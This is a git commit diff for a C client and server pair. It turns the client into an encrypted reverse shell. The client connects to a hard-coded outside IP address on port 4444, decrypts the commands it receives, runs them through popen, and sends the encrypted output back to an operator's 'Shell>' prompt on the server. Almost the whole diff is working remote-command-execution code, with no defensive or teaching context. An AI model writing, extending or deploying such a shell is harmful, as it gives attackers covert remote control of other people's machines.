This commit is contained in:
wheelchairy 2025-02-10 14:48:54 +03:00
parent fcf7c2f53e
commit 6283b45a0b
3 changed files with 45 additions and 34 deletions

2
.gitignore vendored Normal file
View File

@ -0,0 +1,2 @@
client
server

View File

@ -5,8 +5,8 @@
#include <sys/socket.h> #include <sys/socket.h>
#include <arpa/inet.h> #include <arpa/inet.h>
#include <openssl/evp.h> #include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/rand.h> #include <openssl/rand.h>
#include <openssl/sha.h>
#define SERVER_IP "212.113.119.5" #define SERVER_IP "212.113.119.5"
#define PORT 4444 #define PORT 4444
@ -27,42 +27,42 @@ void generate_aes_key() {
} }
} }
void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) { int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, ciphertext_len; int len, ciphertext_len;
unsigned char iv[AES_BLOCK_SIZE] = {0};
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext)); EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
ciphertext_len = len; ciphertext_len = len;
EVP_EncryptFinal_ex(ctx, ciphertext + len, &len); EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
ciphertext_len += len; ciphertext_len += len;
EVP_CIPHER_CTX_free(ctx); EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
} }
void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) { int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, plaintext_len; int len, plaintext_len;
unsigned char iv[AES_BLOCK_SIZE] = {0};
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext)); EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len);
plaintext_len = len; plaintext_len = len;
EVP_DecryptFinal_ex(ctx, plaintext + len, &len); EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
plaintext_len += len; plaintext_len += len;
plaintext[plaintext_len] = '\0'; plaintext[plaintext_len] = '\0';
EVP_CIPHER_CTX_free(ctx); EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
} }
int main() { int main() {
generate_aes_key(); generate_aes_key();
printf("[+] AES-ключ клиента сгенерирован\n");
int sock; int sock;
struct sockaddr_in server; struct sockaddr_in server;
unsigned char buffer[1024], encrypted[1024], decrypted[1024]; unsigned char buffer[1024], encrypted[1024], decrypted[1024];
unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования
sock = socket(AF_INET, SOCK_STREAM, 0); sock = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET; server.sin_family = AF_INET;
@ -70,20 +70,28 @@ int main() {
server.sin_port = htons(PORT); server.sin_port = htons(PORT);
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) {
close(sock); perror("[-] Не удалось подключиться");
return 1; exit(1);
} }
printf("[+] Подключено к серверу %s:%d\n", SERVER_IP, PORT);
while (1) { while (1) {
printf("Shell> "); int recv_len = recv(sock, encrypted, sizeof(encrypted), 0);
fgets(buffer, sizeof(buffer), stdin); int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted);
encrypt_data(buffer, encrypted); FILE *fp = popen((char *)decrypted, "r");
send(sock, encrypted, sizeof(encrypted), 0); if (fp == NULL) {
perror("[-] Ошибка выполнения команды");
exit(1);
}
recv(sock, encrypted, sizeof(encrypted), 0); fread(buffer, 1, sizeof(buffer) - 1, fp);
decrypt_data(encrypted, decrypted); pclose(fp);
printf("%s\n", decrypted); buffer[strlen((char *)buffer)] = '\0';
int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted);
send(sock, encrypted, encrypted_len, 0);
} }
close(sock); close(sock);

View File

@ -5,8 +5,8 @@
#include <arpa/inet.h> #include <arpa/inet.h>
#include <unistd.h> #include <unistd.h>
#include <openssl/evp.h> #include <openssl/evp.h>
#include <openssl/sha.h>
#include <openssl/rand.h> #include <openssl/rand.h>
#include <openssl/sha.h>
#define PORT 4444 #define PORT 4444
#define AES_KEY_SIZE 16 #define AES_KEY_SIZE 16
@ -19,7 +19,6 @@ void generate_aes_key() {
char buffer[256]; char buffer[256];
if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) { if (fp == NULL || fgets(buffer, sizeof(buffer), fp) == NULL) {
pclose(fp); pclose(fp);
printf("[-] Не удалось получить UUID, используем случайный ключ\n");
RAND_bytes(key, AES_KEY_SIZE); RAND_bytes(key, AES_KEY_SIZE);
} else { } else {
pclose(fp); pclose(fp);
@ -27,43 +26,43 @@ void generate_aes_key() {
} }
} }
void encrypt_data(unsigned char *plaintext, unsigned char *ciphertext) { int encrypt_data(unsigned char *plaintext, int plaintext_len, unsigned char *key, unsigned char *iv, unsigned char *ciphertext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, ciphertext_len; int len, ciphertext_len;
unsigned char iv[AES_BLOCK_SIZE] = {0};
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, strlen((char *)plaintext)); EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
ciphertext_len = len; ciphertext_len = len;
EVP_EncryptFinal_ex(ctx, ciphertext + len, &len); EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
ciphertext_len += len; ciphertext_len += len;
EVP_CIPHER_CTX_free(ctx); EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
} }
void decrypt_data(unsigned char *ciphertext, unsigned char *plaintext) { int decrypt_data(unsigned char *ciphertext, int ciphertext_len, unsigned char *key, unsigned char *iv, unsigned char *plaintext) {
EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
int len, plaintext_len; int len, plaintext_len;
unsigned char iv[AES_BLOCK_SIZE] = {0};
EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv); EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, strlen((char *)ciphertext)); EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len);
plaintext_len = len; plaintext_len = len;
EVP_DecryptFinal_ex(ctx, plaintext + len, &len); EVP_DecryptFinal_ex(ctx, plaintext + len, &len);
plaintext_len += len; plaintext_len += len;
plaintext[plaintext_len] = '\0'; plaintext[plaintext_len] = '\0';
EVP_CIPHER_CTX_free(ctx); EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
} }
int main() { int main() {
generate_aes_key(); generate_aes_key();
printf("[+] AES-ключ сервера сгенерирован\n");
int server_sock, client_sock; int server_sock, client_sock;
struct sockaddr_in server, client; struct sockaddr_in server, client;
socklen_t client_size = sizeof(client); socklen_t client_size = sizeof(client);
unsigned char buffer[1024], encrypted[1024], decrypted[1024]; unsigned char buffer[1024], encrypted[1024], decrypted[1024];
unsigned char iv[AES_BLOCK_SIZE] = {0}; // IV для шифрования
server_sock = socket(AF_INET, SOCK_STREAM, 0); server_sock = socket(AF_INET, SOCK_STREAM, 0);
server.sin_family = AF_INET; server.sin_family = AF_INET;
@ -78,16 +77,18 @@ int main() {
printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr)); printf("[+] Подключение от %s\n", inet_ntoa(client.sin_addr));
while (1) { while (1) {
recv(client_sock, encrypted, sizeof(encrypted), 0); printf("Shell> ");
decrypt_data(encrypted, decrypted); fgets((char *)buffer, sizeof(buffer), stdin);
printf("Команда: %s\n", decrypted);
FILE *fp = popen(decrypted, "r"); // Убираем \n из команды
fread(buffer, 1, sizeof(buffer), fp); buffer[strcspn((char *)buffer, "\n")] = '\0';
pclose(fp);
encrypt_data(buffer, encrypted); int encrypted_len = encrypt_data(buffer, strlen((char *)buffer), key, iv, encrypted);
send(client_sock, encrypted, sizeof(encrypted), 0); send(client_sock, encrypted, encrypted_len, 0);
int recv_len = recv(client_sock, encrypted, sizeof(encrypted), 0);
int decrypted_len = decrypt_data(encrypted, recv_len, key, iv, decrypted);
printf("%s\n", decrypted);
} }
close(client_sock); close(client_sock);